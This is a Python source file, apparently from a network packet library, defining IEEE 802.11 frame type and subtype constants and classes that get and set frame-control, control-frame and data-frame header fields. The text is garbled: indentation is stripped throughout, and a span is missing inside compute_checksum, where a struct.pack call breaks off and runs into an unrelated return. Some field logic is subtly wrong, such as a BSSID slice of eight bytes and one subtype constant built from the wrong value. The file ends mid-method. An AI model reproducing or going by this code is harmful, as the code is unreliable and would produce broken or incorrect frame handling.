CAPABILITY_IBSS = int("0000000000000010", 2)
CAPABILITY_ESS = int("0000000000000001", 2)
class Dot11Types():
# Management Types/SubTypes
DOT11_TYPE_MANAGEMENT = int("00",2)
DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST = int("0000",2)
DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE = int("0001",2)
DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST = int("0010",2)
DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE = int("0011",2)
DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST = int("0100",2)
DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE = int("0101",2)
DOT11_SUBTYPE_MANAGEMENT_RESERVED1 = int("0110",2)
DOT11_SUBTYPE_MANAGEMENT_RESERVED2 = int("0111",2)
DOT11_SUBTYPE_MANAGEMENT_BEACON = int("1000",2)
DOT11_SUBTYPE_MANAGEMENT_ATIM = int("1001",2)
DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION = int("1010",2)
DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION = int("1011",2)
DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION = int("1100",2)
DOT11_SUBTYPE_MANAGEMENT_ACTION = int("1101",2)
DOT11_SUBTYPE_MANAGEMENT_RESERVED3 = int("1110",2)
DOT11_SUBTYPE_MANAGEMENT_RESERVED4 = int("1111",2)
DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_REQUEST = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_RESPONSE = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_REQUEST = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_RESPONSE = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_REQUEST = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_RESPONSE = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED1 = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED1<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED2 = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED2<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_BEACON = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_BEACON<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_ATIM = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ATIM<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_DISASSOCIATION = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_AUTHENTICATION = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_ACTION = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ACTION<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED3 = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED3<<2
DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED4 = \
DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED4<<2
# Control Types/SubTypes
DOT11_TYPE_CONTROL = int("01",2)
DOT11_SUBTYPE_CONTROL_RESERVED1 = int("0000",2)
DOT11_SUBTYPE_CONTROL_RESERVED2 = int("0001",2)
DOT11_SUBTYPE_CONTROL_RESERVED3 = int("0010",2)
DOT11_SUBTYPE_CONTROL_RESERVED4 = int("0011",2)
DOT11_SUBTYPE_CONTROL_RESERVED5 = int("0100",2)
DOT11_SUBTYPE_CONTROL_RESERVED6 = int("0101",2)
DOT11_SUBTYPE_CONTROL_RESERVED7 = int("0110",2)
DOT11_SUBTYPE_CONTROL_RESERVED8 = int("0111",2)
DOT11_SUBTYPE_CONTROL_BLOCK_ACK_REQUEST = int("1000",2)
DOT11_SUBTYPE_CONTROL_BLOCK_ACK = int("1001",2)
DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL = int("1010",2)
DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND = int("1011",2)
DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND = int("1100",2)
DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT = int("1101",2)
DOT11_SUBTYPE_CONTROL_CF_END = int("1110",2)
DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK = int("1111",2)
DOT11_TYPE_CONTROL_SUBTYPE_RESERVED1 = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED1<<2
DOT11_TYPE_CONTROL_SUBTYPE_RESERVED2 = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED2<<2
DOT11_TYPE_CONTROL_SUBTYPE_RESERVED3 = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED3<<2
DOT11_TYPE_CONTROL_SUBTYPE_RESERVED4 = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED4<<2
DOT11_TYPE_CONTROL_SUBTYPE_RESERVED5 = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED5<<2
DOT11_TYPE_CONTROL_SUBTYPE_RESERVED6 = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED6<<2
DOT11_TYPE_CONTROL_SUBTYPE_RESERVED7 = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED7<<2
DOT11_TYPE_CONTROL_SUBTYPE_BLOCK_ACK_REQUEST = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_BLOCK_ACK_REQUEST<<2
DOT11_TYPE_CONTROL_SUBTYPE_BLOCK_ACK = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_BLOCK_ACK<<2
DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL<<2
DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND<<2
DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND<<2
DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT<<2
DOT11_TYPE_CONTROL_SUBTYPE_CF_END = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_CF_END<<2
DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK = \
DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK<<2
# Data Types/SubTypes
DOT11_TYPE_DATA = int("10",2)
DOT11_SUBTYPE_DATA = int("0000",2)
DOT11_SUBTYPE_DATA_CF_ACK = int("0001",2)
DOT11_SUBTYPE_DATA_CF_POLL = int("0010",2)
DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL = int("0011",2)
DOT11_SUBTYPE_DATA_NULL_NO_DATA = int("0100",2)
DOT11_SUBTYPE_DATA_CF_ACK_NO_DATA = int("0101",2)
DOT11_SUBTYPE_DATA_CF_POLL_NO_DATA = int("0110",2)
DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL_NO_DATA = int("0111",2)
DOT11_SUBTYPE_DATA_QOS_DATA = int("1000",2)
DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK = int("1001",2)
DOT11_SUBTYPE_DATA_QOS_DATA_CF_POLL = int("1010",2)
DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK_CF_POLL = int("1011",2)
DOT11_SUBTYPE_DATA_QOS_NULL_NO_DATA = int("1100",2)
DOT11_SUBTYPE_DATA_RESERVED1 = int("1101",2)
DOT11_SUBTYPE_DATA_QOS_CF_POLL_NO_DATA = int("1110",2)
DOT11_SUBTYPE_DATA_QOS_CF_ACK_CF_POLL_NO_DATA = int("1111",2)
DOT11_TYPE_DATA_SUBTYPE_DATA = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA<<2
DOT11_TYPE_DATA_SUBTYPE_CF_ACK = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_ACK<<2
DOT11_TYPE_DATA_SUBTYPE_CF_POLL = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_POLL<<2
DOT11_TYPE_DATA_SUBTYPE_CF_ACK_CF_POLL = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL<<2
DOT11_TYPE_DATA_SUBTYPE_NULL_NO_DATA = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_NULL_NO_DATA<<2
DOT11_TYPE_DATA_SUBTYPE_CF_ACK_NO_DATA = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_POLL_NO_DATA<<2
DOT11_TYPE_DATA_SUBTYPE_CF_ACK_CF_POLL_NO_DATA = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL_NO_DATA<<2
DOT11_TYPE_DATA_SUBTYPE_QOS_DATA = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA<<2
DOT11_TYPE_DATA_SUBTYPE_QOS_DATA_CF_ACK = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK<<2
DOT11_TYPE_DATA_SUBTYPE_QOS_DATA_CF_POLL = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA_CF_POLL<<2
DOT11_TYPE_DATA_SUBTYPE_QOS_DATA_CF_ACK_CF_POLL = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK_CF_POLL<<2
DOT11_TYPE_DATA_SUBTYPE_QOS_NULL_NO_DATA = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_NULL_NO_DATA<<2
DOT11_TYPE_DATA_SUBTYPE_RESERVED1 = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_RESERVED1<<2
DOT11_TYPE_DATA_SUBTYPE_QOS_CF_POLL_NO_DATA = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_CF_POLL_NO_DATA<<2
DOT11_TYPE_DATA_SUBTYPE_QOS_CF_ACK_CF_POLL_NO_DATA = \
DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_CF_ACK_CF_POLL_NO_DATA<<2
# Reserved Types/SubTypes
DOT11_TYPE_RESERVED = int("11",2)
DOT11_SUBTYPE_RESERVED_RESERVED1 = int("0000",2)
DOT11_SUBTYPE_RESERVED_RESERVED2 = int("0001",2)
DOT11_SUBTYPE_RESERVED_RESERVED3 = int("0010",2)
DOT11_SUBTYPE_RESERVED_RESERVED4 = int("0011",2)
DOT11_SUBTYPE_RESERVED_RESERVED5 = int("0100",2)
DOT11_SUBTYPE_RESERVED_RESERVED6 = int("0101",2)
DOT11_SUBTYPE_RESERVED_RESERVED7 = int("0110",2)
DOT11_SUBTYPE_RESERVED_RESERVED8 = int("0111",2)
DOT11_SUBTYPE_RESERVED_RESERVED9 = int("1000",2)
DOT11_SUBTYPE_RESERVED_RESERVED10 = int("1001",2)
DOT11_SUBTYPE_RESERVED_RESERVED11 = int("1010",2)
DOT11_SUBTYPE_RESERVED_RESERVED12 = int("1011",2)
DOT11_SUBTYPE_RESERVED_RESERVED13 = int("1100",2)
DOT11_SUBTYPE_RESERVED_RESERVED14 = int("1101",2)
DOT11_SUBTYPE_RESERVED_RESERVED15 = int("1110",2)
DOT11_SUBTYPE_RESERVED_RESERVED16 = int("1111",2)
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED1 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED1<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED2 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED2<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED3 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED3<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED4 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED4<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED5 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED5<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED6 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED6<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED7 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED7<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED8 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED8<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED9 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED9<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED10 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED10<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED11 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED11<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED12 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED12<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED13 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED13<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED14 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED14<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED15 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED15<<2
DOT11_TYPE_RESERVED_SUBTYPE_RESERVED16 = \
DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED16<<2
class Dot11(ProtocolPacket):
def __init__(self, aBuffer = None, FCS_at_end = True):
header_size = 2
self.__FCS_at_end=not not FCS_at_end # Is Boolean
if self.__FCS_at_end:
tail_size = 4
else:
tail_size = 0
ProtocolPacket.__init__(self, header_size,tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_order(self):
"Return 802.11 frame 'Order' field"
b = self.header.get_byte(1)
return ((b >> 7) & 0x01)
def set_order(self, value):
"Set 802.11 frame 'Order' field"
# clear the bits
mask = (~0x80) & 0xFF
masked = self.header.get_byte(1) & mask
# set the bits
nb = masked | ((value & 0x01) << 7)
self.header.set_byte(1, nb)
def get_protectedFrame(self):
"Return 802.11 frame 'Protected' field"
b = self.header.get_byte(1)
return ((b >> 6) & 0x01)
def set_protectedFrame(self, value):
"Set 802.11 frame 'Protected Frame' field"
# clear the bits
mask = (~0x40) & 0xFF
masked = self.header.get_byte(1) & mask
# set the bits
nb = masked | ((value & 0x01) << 6)
self.header.set_byte(1, nb)
def get_moreData(self):
"Return 802.11 frame 'More Data' field"
b = self.header.get_byte(1)
return ((b >> 5) & 0x01)
def set_moreData(self, value):
"Set 802.11 frame 'More Data' field"
# clear the bits
mask = (~0x20) & 0xFF
masked = self.header.get_byte(1) & mask
# set the bits
nb = masked | ((value & 0x01) << 5)
self.header.set_byte(1, nb)
def get_powerManagement(self):
"Return 802.11 frame 'Power Management' field"
b = self.header.get_byte(1)
return ((b >> 4) & 0x01)
def set_powerManagement(self, value):
"Set 802.11 frame 'Power Management' field"
# clear the bits
mask = (~0x10) & 0xFF
masked = self.header.get_byte(1) & mask
# set the bits
nb = masked | ((value & 0x01) << 4)
self.header.set_byte(1, nb)
def get_retry(self):
"Return 802.11 frame 'Retry' field"
b = self.header.get_byte(1)
return ((b >> 3) & 0x01)
def set_retry(self, value):
"Set 802.11 frame 'Retry' field"
# clear the bits
mask = (~0x08) & 0xFF
masked = self.header.get_byte(1) & mask
# set the bits
nb = masked | ((value & 0x01) << 3)
self.header.set_byte(1, nb)
def get_moreFrag(self):
"Return 802.11 frame 'More Fragments' field"
b = self.header.get_byte(1)
return ((b >> 2) & 0x01)
def set_moreFrag(self, value):
"Set 802.11 frame 'More Fragments' field"
# clear the bits
mask = (~0x04) & 0xFF
masked = self.header.get_byte(1) & mask
# set the bits
nb = masked | ((value & 0x01) << 2)
self.header.set_byte(1, nb)
def get_fromDS(self):
"Return 802.11 frame 'from DS' field"
b = self.header.get_byte(1)
return ((b >> 1) & 0x01)
def set_fromDS(self, value):
"Set 802.11 frame 'from DS' field"
# clear the bits
mask = (~0x02) & 0xFF
masked = self.header.get_byte(1) & mask
# set the bits
nb = masked | ((value & 0x01) << 1)
self.header.set_byte(1, nb)
def get_toDS(self):
"Return 802.11 frame 'to DS' field"
b = self.header.get_byte(1)
return (b & 0x01)
def set_toDS(self, value):
"Set 802.11 frame 'to DS' field"
# clear the bits
mask = (~0x01) & 0xFF
masked = self.header.get_byte(1) & mask
# set the bits
nb = masked | (value & 0x01)
self.header.set_byte(1, nb)
def get_subtype(self):
"Return 802.11 frame 'subtype' field"
b = self.header.get_byte(0)
return ((b >> 4) & 0x0F)
def set_subtype(self, value):
"Set 802.11 frame 'subtype' field"
# clear the bits
mask = (~0xF0)&0xFF
masked = self.header.get_byte(0) & mask
# set the bits
nb = masked | ((value << 4) & 0xF0)
self.header.set_byte(0, nb)
def get_type(self):
"Return 802.11 frame 'type' field"
b = self.header.get_byte(0)
return ((b >> 2) & 0x03)
def set_type(self, value):
"Set 802.11 frame 'type' field"
# clear the bits
mask = (~0x0C)&0xFF
masked = self.header.get_byte(0) & mask
# set the bits
nb = masked | ((value << 2) & 0x0C)
self.header.set_byte(0, nb)
def get_type_n_subtype(self):
"Return 802.11 frame 'Type and Subtype' field"
b = self.header.get_byte(0)
return ((b >> 2) & 0x3F)
def set_type_n_subtype(self, value):
"Set 802.11 frame 'Type and Subtype' field"
# clear the bits
mask = (~0xFC)&0xFF
masked = self.header.get_byte(0) & mask
# set the bits
nb = masked | ((value << 2) & 0xFC)
self.header.set_byte(0, nb)
def get_version(self):
"Return 802.11 frame control 'Protocol version' field"
b = self.header.get_byte(0)
return (b & 0x03)
def set_version(self, value):
"Set the 802.11 frame control 'Protocol version' field"
# clear the bits
mask = (~0x03)&0xFF
masked = self.header.get_byte(0) & mask
# set the bits
nb = masked | (value & 0x03)
self.header.set_byte(0, nb)
def compute_checksum(self,bytes):
crcle=crc32(bytes)&0xffffffffL
# ggrr this crc32 is in little endian, convert it to big endian
crc=struct.pack('")
return b
def set_fcs(self, value = None):
"Set the 802.11 CTS control frame 'FCS' field. If value is None, is auto_checksum"
if not self.__FCS_at_end:
return
# calculate the FCS
if value is None:
payload = self.get_body_as_string()
crc32=self.compute_checksum(payload)
value=crc32
# set the bits
nb = value & 0xFFFFFFFF
self.tail.set_long(-4, nb)
class Dot11ControlFrameCTS(ProtocolPacket):
"802.11 Clear-To-Send Control Frame"
def __init__(self, aBuffer = None):
header_size = 8
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_duration(self):
"Return 802.11 CTS control frame 'Duration' field"
b = self.header.get_word(0, "<")
return b
def set_duration(self, value):
"Set the 802.11 CTS control frame 'Duration' field"
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_ra(self):
"Return 802.11 CTS control frame 48 bit 'Receiver Address' field as a 6 bytes array"
return self.header.get_bytes()[2:8]
def set_ra(self, value):
"Set 802.11 CTS control frame 48 bit 'Receiver Address' field as a 6 bytes array"
for i in range(0, 6):
self.header.set_byte(2+i, value[i])
class Dot11ControlFrameACK(ProtocolPacket):
"802.11 Acknowledgement Control Frame"
def __init__(self, aBuffer = None):
header_size = 8
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_duration(self):
"Return 802.11 ACK control frame 'Duration' field"
b = self.header.get_word(0, "<")
return b
def set_duration(self, value):
"Set the 802.11 ACK control frame 'Duration' field"
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_ra(self):
"Return 802.11 ACK control frame 48 bit 'Receiver Address' field as a 6 bytes array"
return self.header.get_bytes()[2:8]
def set_ra(self, value):
"Set 802.11 ACK control frame 48 bit 'Receiver Address' field as a 6 bytes array"
for i in range(0, 6):
self.header.set_byte(2+i, value[i])
class Dot11ControlFrameRTS(ProtocolPacket):
"802.11 Request-To-Send Control Frame"
def __init__(self, aBuffer = None):
header_size = 14
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_duration(self):
"Return 802.11 RTS control frame 'Duration' field"
b = self.header.get_word(0, "<")
return b
def set_duration(self, value):
"Set the 802.11 RTS control frame 'Duration' field"
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_ra(self):
"Return 802.11 RTS control frame 48 bit 'Receiver Address' field as a 6 bytes array"
return self.header.get_bytes()[2:8]
def set_ra(self, value):
"Set 802.11 RTS control frame 48 bit 'Receiver Address' field as a 6 bytes array"
for i in range(0, 6):
self.header.set_byte(2+i, value[i])
def get_ta(self):
"Return 802.11 RTS control frame 48 bit 'Transmitter Address' field as a 6 bytes array"
return self.header.get_bytes()[8:14]
def set_ta(self, value):
"Set 802.11 RTS control frame 48 bit 'Transmitter Address' field as a 6 bytes array"
for i in range(0, 6):
self.header.set_byte(8+i, value[i])
class Dot11ControlFramePSPoll(ProtocolPacket):
"802.11 Power-Save Poll Control Frame"
def __init__(self, aBuffer = None):
header_size = 14
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_aid(self):
"Return 802.11 PSPoll control frame 'AID' field"
# the spec says "The AID value always has its two MSBs each set to 1."
# TODO: Should we do check/modify it? Wireshark shows the only MSB to 0
b = self.header.get_word(0, "<")
return b
def set_aid(self, value):
"Set the 802.11 PSPoll control frame 'AID' field"
# set the bits
nb = value & 0xFFFF
# the spec says "The AID value always has its two MSBs each set to 1."
# TODO: Should we do check/modify it? Wireshark shows the only MSB to 0
self.header.set_word(0, nb, "<")
def get_bssid(self):
"Return 802.11 PSPoll control frame 48 bit 'BSS ID' field as a 6 bytes array"
return self.header.get_bytes()[2:8]
def set_bssid(self, value):
"Set 802.11 PSPoll control frame 48 bit 'BSS ID' field as a 6 bytes array"
for i in range(0, 6):
self.header.set_byte(2+i, value[i])
def get_ta(self):
"Return 802.11 PSPoll control frame 48 bit 'Transmitter Address' field as a 6 bytes array"
return self.header.get_bytes()[8:14]
def set_ta(self, value):
"Set 802.11 PSPoll control frame 48 bit 'Transmitter Address' field as a 6 bytes array"
for i in range(0, 6):
self.header.set_byte(8+i, value[i])
class Dot11ControlFrameCFEnd(ProtocolPacket):
"802.11 'Contention Free End' Control Frame"
def __init__(self, aBuffer = None):
header_size = 14
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_duration(self):
"Return 802.11 CF-End control frame 'Duration' field"
b = self.header.get_word(0, "<")
return b
def set_duration(self, value):
"Set the 802.11 CF-End control frame 'Duration' field"
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_ra(self):
"Return 802.11 CF-End control frame 48 bit 'Receiver Address' field as a 6 bytes array"
return self.header.get_bytes()[2:8]
def set_ra(self, value):
"Set 802.11 CF-End control frame 48 bit 'Receiver Address' field as a 6 bytes array"
for i in range(0, 6):
self.header.set_byte(2+i, value[i])
def get_bssid(self):
"Return 802.11 CF-End control frame 48 bit 'BSS ID' field as a 6 bytes array"
return self.header.get_bytes()[8:14]
def set_bssid(self, value):
"Set 802.11 CF-End control frame 48 bit 'BSS ID' field as a 6 bytes array"
for i in range(0, 6):
self.header.set_byte(8+i, value[i])
class Dot11ControlFrameCFEndCFACK(ProtocolPacket):
'802.11 \'CF-End + CF-ACK\' Control Frame'
def __init__(self, aBuffer = None):
header_size = 14
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_duration(self):
'Return 802.11 \'CF-End+CF-ACK\' control frame \'Duration\' field'
b = self.header.get_word(0, "<")
return b
def set_duration(self, value):
'Set the 802.11 \'CF-End+CF-ACK\' control frame \'Duration\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_ra(self):
'Return 802.11 \'CF-End+CF-ACK\' control frame 48 bit \'Receiver Address\' field as a 6 bytes array'
return self.header.get_bytes()[2:8]
def set_ra(self, value):
'Set 802.11 \'CF-End+CF-ACK\' control frame 48 bit \'Receiver Address\' field as a 6 bytes array'
for i in range(0, 6):
self.header.set_byte(2+i, value[i])
def get_bssid(self):
'Return 802.11 \'CF-End+CF-ACK\' control frame 48 bit \'BSS ID\' field as a 6 bytes array'
return self.header.get_bytes()[8:16]
def set_bssid(self, value):
'Set 802.11 \'CF-End+CF-ACK\' control frame 48 bit \'BSS ID\' field as a 6 bytes array'
for i in range(0, 6):
self.header.set_byte(8+i, value[i])
class Dot11DataFrame(ProtocolPacket):
'802.11 Data Frame'
def __init__(self, aBuffer = None):
header_size = 22
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_duration(self):
'Return 802.11 \'Data\' data frame \'Duration\' field'
b = self.header.get_word(0, "<")
return b
def set_duration(self, value):
'Set the 802.11 \'Data\' data frame \'Duration\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(0, nb, "<")
def get_address1(self):
'Return 802.11 \'Data\' data frame 48 bit \'Address1\' field as a 6 bytes array'
return self.header.get_bytes()[2:8]
def set_address1(self, value):
'Set 802.11 \'Data\' data frame 48 bit \'Address1\' field as a 6 bytes array'
for i in range(0, 6):
self.header.set_byte(2+i, value[i])
def get_address2(self):
'Return 802.11 \'Data\' data frame 48 bit \'Address2\' field as a 6 bytes array'
return self.header.get_bytes()[8:14]
def set_address2(self, value):
'Set 802.11 \'Data\' data frame 48 bit \'Address2\' field as a 6 bytes array'
for i in range(0, 6):
self.header.set_byte(8+i, value[i])
def get_address3(self):
'Return 802.11 \'Data\' data frame 48 bit \'Address3\' field as a 6 bytes array'
return self.header.get_bytes()[14: 20]
def set_address3(self, value):
'Set 802.11 \'Data\' data frame 48 bit \'Address3\' field as a 6 bytes array'
for i in range(0, 6):
self.header.set_byte(14+i, value[i])
def get_sequence_control(self):
'Return 802.11 \'Data\' data frame \'Sequence Control\' field'
b = self.header.get_word(20, "<")
return b
def set_sequence_control(self, value):
'Set the 802.11 \'Data\' data frame \'Sequence Control\' field'
# set the bits
nb = value & 0xFFFF
self.header.set_word(20, nb, "<")
def get_fragment_number(self):
'Return 802.11 \'Data\' data frame \'Fragment Number\' subfield'
b = self.header.get_word(20, "<")
return (b&0x000F)
def set_fragment_number(self, value):
'Set the 802.11 \'Data\' data frame \'Fragment Number\' subfield'
# clear the bits
mask = (~0x000F) & 0xFFFF
masked = self.header.get_word(20, "<") & mask
# set the bits
nb = masked | (value & 0x000F)
self.header.set_word(20, nb, "<")
def get_sequence_number(self):
'Return 802.11 \'Data\' data frame \'Sequence Number\' subfield'
b = self.header.get_word(20, "<")
return ((b>>4) & 0xFFF)
def set_sequence_number(self, value):
'Set the 802.11 \'Data\' data frame \'Sequence Number\' subfield'
# clear the bits
mask = (~0xFFF0) & 0xFFFF
masked = self.header.get_word(20, "<") & mask
# set the bits
nb = masked | ((value & 0x0FFF ) << 4 )
self.header.set_word(20, nb, "<")
def get_frame_body(self):
'Return 802.11 \'Data\' data frame \'Frame Body\' field'
return self.get_body_as_string()
def set_frame_body(self, data):
'Set 802.11 \'Data\' data frame \'Frame Body\' field'
self.load_body(data)
class Dot11DataQoSFrame(Dot11DataFrame):
'802.11 Data QoS Frame'
def __init__(self, aBuffer = None):
header_size = 24
tail_size = 0
ProtocolPacket.__init__(self, header_size, tail_size)
if(aBuffer):
self.load_packet(aBuffer)
def get_QoS(self):
